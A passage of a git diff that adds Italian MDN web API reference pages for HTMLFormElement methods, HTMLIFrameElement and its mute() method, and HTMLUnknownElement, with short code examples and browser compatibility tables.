+<p>Questo metodo simula ciò che accadrebbe se l'utente cliccasse il bottone reset.</p>
+
+<p>Se un controllo di un form (come il bottone reset) ha come nome <var>reset</var>, questo coprirà il metodo reset.</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-76767677">DOM Level 2 HTML: reset</a></p>
diff --git a/files/it/web/api/htmlformelement/submit/index.html b/files/it/web/api/htmlformelement/submit/index.html
new file mode 100644
index 0000000000..b762349b6c
--- /dev/null
+++ b/files/it/web/api/htmlformelement/submit/index.html
@@ -0,0 +1,30 @@
+---
+title: HTMLFormElement.submit()
+slug: Web/API/HTMLFormElement/submit
+translation_of: Web/API/HTMLFormElement/submit
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><code>submit</code> invia il form.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval"><i>HTMLForm</i>.submit()
+</pre>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">document.forms["mioForm"].submit()
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Questo metodo simula ciò che accadrebbe se l'utente cliccasse sul bottone "invia".</p>
+
+<p>Se il controllo di un form (come il bottone di invio) ha come nome o un id <var>submit</var>, questo coprirà il metodo submit.</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-76767676">DOM Level 2 HTML: submit</a></p>
+
+<p>{{ languages( { "ja": "ja/DOM/form.submit" } ) }}</p>
diff --git a/files/it/web/api/htmlformelement/target/index.html b/files/it/web/api/htmlformelement/target/index.html
new file mode 100644
index 0000000000..c94b8a78f9
--- /dev/null
+++ b/files/it/web/api/htmlformelement/target/index.html
@@ -0,0 +1,24 @@
+---
+title: HTMLFormElement.target
+slug: Web/API/HTMLFormElement/target
+translation_of: Web/API/HTMLFormElement/target
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><b>target</b> legge o imposta il contenuto dell'attributo target (per esempio, il frame dove verrà visualizzato l'output del form).</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval"><i>stringa</i> = form.target
+form.target =
+<i>stringa</i>
+</pre>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">myForm.target = document.frames[1].name;
+</pre>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-6512890">DOM Level 2 HTML: target</a></p>
diff --git a/files/it/web/api/htmliframeelement/index.html b/files/it/web/api/htmliframeelement/index.html
new file mode 100644
index 0000000000..4138970a78
--- /dev/null
+++ b/files/it/web/api/htmliframeelement/index.html
@@ -0,0 +1,455 @@
+---
+title: HTMLIFrameElement
+slug: Web/API/HTMLIFrameElement
+tags:
+  - API
+  - HTML DOM
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/API/HTMLIFrameElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>The <strong><code>HTMLIFrameElement</code></strong> interface provides special properties and methods (beyond those of the {{domxref("HTMLElement")}} interface it also has available to it by inheritance) for manipulating the layout and presentation of inline frame elements.</p>
+
+<p>{{InheritanceDiagram(600,120)}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Inherits properties from its parent, {{domxref("HTMLElement")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("HTMLIFrameElement.align")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that specifies the alignment of the frame with respect to the surrounding context.</dd>
+ <dt>{{domxref("HTMLIFrameElement.allowfullscreen")}} {{experimental_inline}}</dt>
+ <dd>Is a {{domxref("Boolean")}} indicating whether the inline frame is willing to be placed into full screen mode. See <a href="/en-US/docs/DOM/Using_full-screen_mode" title="https://developer.mozilla.org/en/DOM/Using_full-screen_mode">Using full-screen mode</a> for details.</dd>
+ <dt>{{domxref("HTMLIFrameElement.allowPaymentRequest")}}</dt>
+ <dd>Is a {{domxref("Boolean")}} indicating whether the <a href="/en-US/docs/Web/API/Payment_Request_API">Payment Request API</a> may be invoked inside a cross-origin iframe.</dd>
+ <dt>{{domxref("HTMLIFrameElement.contentDocument")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Document")}}, the active document in the inline frame's nested browsing context.</dd>
+ <dt>{{domxref("HTMLIFrameElement.contentWindow")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("WindowProxy")}}, the window proxy for the nested browsing context.</dd>
+ <dt>{{domxref("HTMLIFrameElement.frameBorder")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that indicates whether to create borders between frames.</dd>
+ <dt>{{domxref("HTMLIFrameElement.height")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("height", "iframe")}} HTML attribute, indicating the height of the frame.</dd>
+ <dt>{{domxref("HTMLIFrameElement.longDesc")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that contains the URI of a long description of the frame.</dd>
+ <dt>{{domxref("HTMLIFrameElement.marginHeight")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} being the height of the frame margin.</dd>
+ <dt>{{domxref("HTMLIFrameElement.marginWidth")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} being the width of the frame margin.</dd>
+ <dt>{{domxref("HTMLIFrameElement.name")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("name", "iframe")}} HTML attribute, containing a name by which to refer to the frame.</dd>
+ <dt>{{domxref("HTMLIFrameElement.referrerPolicy")}} {{experimental_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("referrerPolicy", "iframe")}} HTML attribute indicating which referrer to use when fetching the linked resource.</dd>
+ <dt>{{domxref("HTMLIFrameElement.sandbox")}}</dt>
+ <dd>Is a {{domxref("DOMSettableTokenList")}} that reflects the {{htmlattrxref("sandbox", "iframe")}} HTML attribute, indicating extra restrictions on the behavior of the nested content.</dd>
+ <dt>{{domxref("HTMLIFrameElement.scrolling")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that indicates whether the browser should provide scrollbars for the frame.</dd>
+ <dt>{{domxref("HTMLIFrameElement.src")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("src", "iframe")}} HTML attribute, containing the address of the content to be embedded.</dd>
+ <dt>{{domxref("HTMLIFrameElement.srcdoc")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that represents the content to display in the frame.</dd>
+ <dt>{{domxref("HTMLIFrameElement.width")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("width", "iframe")}} HTML attribute, indicating the width of the frame.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Inherits properties from its parent, {{domxref("HTMLElement")}}</em>.</p>
+
+<h3 id="Browser_API_methods">Browser API methods</h3>
+
+<p>To support the requirement of a browser {{HTMLElement("iframe")}}, <code>HTMLIFrameElement</code> has been extended with new methods that give the {{HTMLElement("iframe")}} some super powers. These are non-standard (see {{anch("Browser compatibility")}}.)</p>
+
+<h4 id="Navigation_methods">Navigation methods</h4>
+
+<p>The following navigation methods allow navigation through the browsing history of the {{HTMLElement("iframe")}}. They are necessary to be able to implement back, forward, stop, and reload buttons.</p>
+
+<dl>
+ <dt>{{domxref("HTMLIFrameElement.reload()")}}</dt>
+ <dd>Allows reloading of the {{HTMLElement("iframe")}} element content.</dd>
+ <dt>{{domxref("HTMLIFrameElement.stop()")}}</dt>
+ <dd>Allows stopping of the {{HTMLElement("iframe")}}'s content loading.</dd>
+ <dt>{{domxref("HTMLIFrameElement.getCanGoBack()")}}</dt>
+ <dd>Indicates whether it's possible to navigate backwards.</dd>
+ <dt>{{domxref("HTMLIFrameElement.goBack()")}}</dt>
+ <dd>Changes the location of the {{HTMLElement("iframe")}} for the previous location in its browsing history.</dd>
+ <dt>{{domxref("HTMLIFrameElement.getCanGoForward()")}}</dt>
+ <dd>Indicates whether it's possible to navigate forward.</dd>
+ <dt>{{domxref("HTMLIFrameElement.goForward()")}}</dt>
+ <dd>Changes the location of the {{HTMLElement("iframe")}} for the next location in its browsing history.</dd>
+</dl>
+
+<h4 id="Management_methods">Management methods</h4>
+
+<p>The next set of methods manage the resources used by a browser {{HTMLElement("iframe")}}. These are especially useful for implementing tabbed browser application.</p>
+
+<dl>
+ <dt>{{domxref("HTMLIFrameElement.executeScript()")}}</dt>
+ <dd>Allows a specified script to be executed against a page loaded in the browser {{HTMLElement("iframe")}}.</dd>
+ <dt>{{domxref("HTMLIFrameElement.purgeHistory()")}}</dt>
+ <dd>Clears all the resources (cookies, localStorage, cache, etc.) associated with the browser {{HTMLElement("iframe")}}.</dd>
+ <dt>{{domxref("HTMLIFrameElement.setVisible()")}}</dt>
+ <dd>Changes the visibility state of a browser {{HTMLElement("iframe")}}. This can influence resource allocation and some function usage such as {{domxref("window.requestAnimationFrame","requestAnimationFrame")}}.</dd>
+ <dt>{{domxref("HTMLIFrameElement.getVisible()")}}</dt>
+ <dd>Indicates the current visibility state of the browser {{HTMLElement("iframe")}}.</dd>
+ <dt>{{domxref("HTMLIFrameElement.setActive()")}}</dt>
+ <dd>Sets the current {{HTMLElement("iframe")}} as the active frame, which has an effect on how it is prioritized by the process manager.</dd>
+ <dt>{{domxref("HTMLIFrameElement.getActive()")}}</dt>
+ <dd>Indicates whether the current browser {{htmlelement("iframe")}} is the currently active frame.</dd>
+</dl>
+
+<h4 id="Audio-related_methods">Audio-related methods</h4>
+
+<p>The following methods allow direct control of sound in the browser element.</p>
+
+<dl>
+ <dt>{{domxref("HTMLIFrameElement.getVolume()")}}</dt>
+ <dd>Gets the current volume of the browser {{HTMLElement("iframe")}}.</dd>
+ <dt>{{domxref("HTMLIFrameElement.setVolume()")}}</dt>
+ <dd>Sets the current volume of the browser {{HTMLElement("iframe")}}.</dd>
+ <dt>{{domxref("HTMLIFrameElement.mute()")}}</dt>
+ <dd>Mutes any audio playing in the browser {{HTMLElement("iframe")}}.</dd>
+ <dt>{{domxref("HTMLIFrameElement.unmute()")}}</dt>
+ <dd>Unmutes any audio playing in the browser {{HTMLElement("iframe")}}.</dd>
+ <dt>{{domxref("HTMLIFrameElement.getMuted()")}}</dt>
+ <dd>Indicates whether the browser {{HTMLElement("iframe")}} is currently muted.</dd>
+</dl>
+
+<h4 id="Search_methods">Search methods</h4>
+
+<p>New methods are provided to allow programmatic searches of browser {{HTMLElement("iframe")}}s to be carried out.</p>
+
+<dl>
+ <dt>{{domxref("HTMLIFrameElement.findAll()")}}</dt>
+ <dd>Searches for a string in a browser {{HTMLElement("iframe")}}'s content; if found, the first instance of the string relative to the caret position will be highlighted.</dd>
+ <dt>{{domxref("HTMLIFrameElement.findNext()")}}</dt>
+ <dd>Highlights the next or previous instance of a search result after a {{domxref("HTMLIFrameElement.findAll","findAll()")}} search has been carried out.</dd>
+ <dt>{{domxref("HTMLIFrameElement.clearMatch()")}}</dt>
+ <dd>Clears any content highlighted by {{domxref("HTMLIFrameElement.findAll","findAll()")}} or {{domxref("HTMLIFrameElement.findNext","findNext()")}}.</dd>
+</dl>
+
+<h4 id="Event-related_methods">Event-related methods</h4>
+
+<p>In order to manage the browser {{HTMLElement("iframe")}}'s content, many new events were added (see below). The following methods are used to deal with those events:</p>
+
+<dl>
+ <dt>The {{HTMLElement("iframe")}} gains support for the methods of the {{domxref("EventTarget")}} interface</dt>
+ <dd>{{domxref("EventTarget.addEventListener","addEventListener()")}}, {{domxref("EventTarget.removeEventListener","removeEventListener()")}}, and {{domxref("EventTarget.dispatchEvent","dispatchEvent()")}}.</dd>
+ <dt>{{domxref("HTMLIFrameElement.sendMouseEvent()")}}</dt>
+ <dd>Sends a {{domxref("MouseEvent")}} to the {{HTMLElement("iframe")}}'s content.</dd>
+ <dt>{{domxref("HTMLIFrameElement.sendTouchEvent()")}}</dt>
+ <dd>Sends a {{domxref("TouchEvent")}} to the {{HTMLElement("iframe")}}'s content. Note that this method is available for touch enabled devices only.</dd>
+ <dt>{{domxref("HTMLIFrameElement.addNextPaintListener()")}}</dt>
+ <dd>Defines a handler to listen for the next {{event("MozAfterPaint")}} event in the browser {{HTMLElement("iframe")}}.</dd>
+ <dt>{{domxref("HTMLIFrameElement.removeNextPaintListener()")}}</dt>
+ <dd>Removes a handler previously set with {{domxref("HTMLIFrameElement.addNextPaintListener","addNextPaintListener()")}}.</dd>
+</dl>
+
+<h4 id="Utility_methods">Utility methods</h4>
+
+<p>Last, there are some utility methods, useful for apps that host a browser {{HTMLElement("iframe")}}.</p>
+
+<dl>
+ <dt>{{domxref("HTMLIFrameElement.download()")}}</dt>
+ <dd>Downloads a specified URL, storing it at the specified filename/path.</dd>
+ <dt>{{domxref("HTMLIFrameElement.getContentDimensions()")}}</dt>
+ <dd>Retrieves the X and Y dimensions of the content window.</dd>
+ <dt>{{domxref("HTMLIFrameElement.getManifest()")}}</dt>
+ <dd>Retrieves the manifest of an app loaded in the browser {{HTMLElement("iframe")}} and returns it as JSON.</dd>
+ <dt>{{domxref("HTMLIFrameElement.getScreenshot()")}}</dt>
+ <dd>Takes a screenshot of the browser {{HTMLElement("iframe")}}'s content. This is particularly useful to get thumbnails of tabs in a tabbed browser app.</dd>
+ <dt>{{domxref("HTMLIFrameElement.getStructuredData()")}}</dt>
+ <dd>Retrieves any structured microdata (and hCard and hCalendar microformat data) contained in the HTML loaded in the browser {{HTMLElement("iframe")}} and returns it as JSON.</dd>
+ <dt>{{domxref("HTMLIFrameElement.zoom()")}}</dt>
+ <dd>Changes the zoom factor of the browser {{HTMLElement("iframe")}}'s content. This is particularly useful for zooming in/out on non-touch-enabled devices.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<ul>
+</ul>
+
+<ul>
+</ul>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Payment','#paymentrequest-and-iframe-elements','allowPaymentRequest')}}</td>
+   <td>{{Spec2('Payment')}}</td>
+   <td>Adds <code>allowPaymentRequest</code> property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}</td>
+   <td>{{Spec2('Referrer Policy')}}</td>
+   <td>Added the <code>referrerPolicy</code> property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "the-iframe-element.html#the-iframe-element", "HTMLIFrameElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>The following property has been added: <code>allowFullscreen</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#the-iframe-element", "HTMLIFrameElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>The following properties are now obsolete: <code>scrolling</code>, <code>marginWidth</code>, <code>marginHeight</code>, <code>longDesc</code>, <code>frameBorder</code>, and <code>align</code>.<br>
+    The following properties have been added: <code>srcdoc</code>, <code>sandbox</code>, and <code>contentWindow</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-50708718', 'HTMLIFrameElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>The <code>contentDocument</code> property has been added.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-50708718', 'HTMLIFrameElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>srcdoc</code></td>
+   <td>{{CompatChrome(4)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>sandbox</code></td>
+   <td>{{CompatChrome(4)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(17)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>contentDocument</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>8.0<sup>[3]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>contentWindow</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>allowFullScreen</code> {{experimental_inline}}</td>
+   <td>{{CompatChrome(17)}} {{property_prefix("-webkit")}}<sup>[4]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(9.0)}} {{property_prefix("-moz")}}<br>
+    {{CompatGeckoDesktop(18.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>referrerPolicy</code> {{experimental_inline}}</td>
+   <td>{{CompatChrome(51)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{compatGeckoDesktop(50)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Browser API methods</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<sup>[5]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>allowPaymentRequest</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>srcdoc</code></td>
+   <td>{{CompatChrome(4)}}</td>
+   <td>{{CompatChrome(4)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(25)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>sandbox</code></td>
+   <td>{{CompatChrome(4)}}</td>
+   <td>{{CompatChrome(4)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(17)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>seamless</code> {{experimental_inline}}</td>
+   <td>{{CompatChrome(4)}}</td>
+   <td>{{CompatChrome(4)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>contentDocument</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>contentWindow</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>allowFullScreen</code> {{experimental_inline}}</td>
+   <td>{{CompatChrome(17)}} {{property_prefix("-webkit")}}<sup>[4]</sup></td>
+   <td>{{CompatChrome(17)}} {{property_prefix("-webkit")}}<sup>[4]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(9.0)}} {{property_prefix("-moz")}}<br>
+    {{CompatGeckoMobile(18.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>referrerPolicy</code> {{experimental_inline}}</td>
+   <td>{{CompatChrome(51)}}</td>
+   <td>{{CompatChrome(51)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{compatGeckoMobile(50)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Browser API methods</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>allowPaymentRequest</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(57)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<ul>
+ <li>[1] Previously, the type of <code>sandbox</code> was a {{domxref("DOMString")}} instead of a {{domxref("DOMSettableTokenList")}}. This has been fixed with <a href="/en-US/Firefox/Releases/29/Site_Compatibility">Gecko 29.0</a> {{geckoRelease(29)}}) ({{bug(845067)}}). Other browsers may still implement the property as <code>DOMString</code> since it was a late change in the specification.</li>
+ <li>[3] For older version use <code>HTMLIFrameElement.contentWindow.document</code> instead.</li>
+ <li>[4] Daily test builds only.</li>
+ <li>[5] Supported in chrome code only.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The HTML element implementing this interface: {{HTMLElement("iframe")}}</li>
+</ul>
diff --git a/files/it/web/api/htmliframeelement/mute/index.html b/files/it/web/api/htmliframeelement/mute/index.html
new file mode 100644
index 0000000000..ca7e44107e
--- /dev/null
+++ b/files/it/web/api/htmliframeelement/mute/index.html
@@ -0,0 +1,93 @@
+---
+title: HTMLIFrameElement.mute()
+slug: Web/API/HTMLIFrameElement/mute
+translation_of: Mozilla/Gecko/Chrome/API/Browser_API/mute
+---
+<p>{{APIRef("HTML DOM")}}{{non-standard_header}}</p>
+
+<p>Il metodo <code>mute()</code> del {{domxref("HTMLIFrameElement")}} muta qualsiasi audio in riproduzione nel browser {{HTMLElement("iframe")}}.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><em>instanceOfHTMLIframeElement</em>.mute();</pre>
+
+<h3 id="Ritorna">Ritorna</h3>
+
+<p>Nulla.</p>
+
+<h3 id="Parametri">Parametri</h3>
+
+<p>Nessuno.</p>
+
+<h2 id="Example" name="Example">Esempio</h2>
+
+<pre class="brush:js">var browser = document.querySelector('iframe');
+
+browser.mute();
+</pre>
+
+<h2 id="Specification" name="Specification">Specifica</h2>
+
+<p>Non è parte di nessuna specifica.</p>
+
+<h2 id="Compatibilità_browser">Compatibilità browser</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caratteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Supporto base</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(47)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caratteristica</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Supporto base</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Supportato solo in codice chrome.</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Browser">Usando le Browser API</a></li>
+</ul>
diff --git a/files/it/web/api/htmlunknownelement/index.html b/files/it/web/api/htmlunknownelement/index.html
new file mode 100644
index 0000000000..079de3d82d
--- /dev/null
+++ b/files/it/web/api/htmlunknownelement/index.html
@@ -0,0 +1,58 @@
+---
+title: HTMLUnknownElement
+slug: Web/API/HTMLUnknownElement
+tags:
+  - API
+  - HTML DOM
+  - Interfaccia
+  - Referenza
+translation_of: Web/API/HTMLUnknownElement
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>L'interfaccia <strong><code>HTMLUnknownElement</code></strong> rappresenta un elemento HTML non valido e deriva dall'interfaccia {{DOMxRef("HTMLElement")}}, ma senza implementare ulteriori proprietà o metodi.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Proprietà">Proprietà</h2>
+
+<p><em>Nessuna proprietà specifica; eredita proprietà dal suo genitore, {{DOMxRef("HTMLElement")}}.</em></p>
+
+<h2 id="Metodi">Metodi</h2>
+
+<p><em>Nessuna proprietà specifica; eredita proprietà dal suo genitore, {{DOMxRef("HTMLElement")}}.</em></p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "elements.html#htmlunknownelement", "HTMLUnknownElement")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Nessun cambiamento da {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "dom.html#htmlunknownelement", "HTMLUnknownElement")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.HTMLUnknownElement")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>Elementi HTML obsoleti o non standard che implementano questa interfaccia: {{HTMLElement("bgsound")}}, {{HTMLElement("blink")}}, {{HTMLElement("isindex")}}, {{HTMLElement("multicol")}}, {{HTMLElement("nextid")}}, {{HTMLElement("rb")}}, {{HTMLElement("spacer")}}</li>
+ <li>{{DOMxRef("SVGUnknownElement")}}</li>
+</ul>
diff --git a/files/it/web/api/index.html b/files/it/web/api/index.html
new file mode 100644
index 0000000000..e5b4b1b744
--- /dev/null
+++ b/files/it/web/api/index.html
@@ -0,0 +1,17 @@
+---
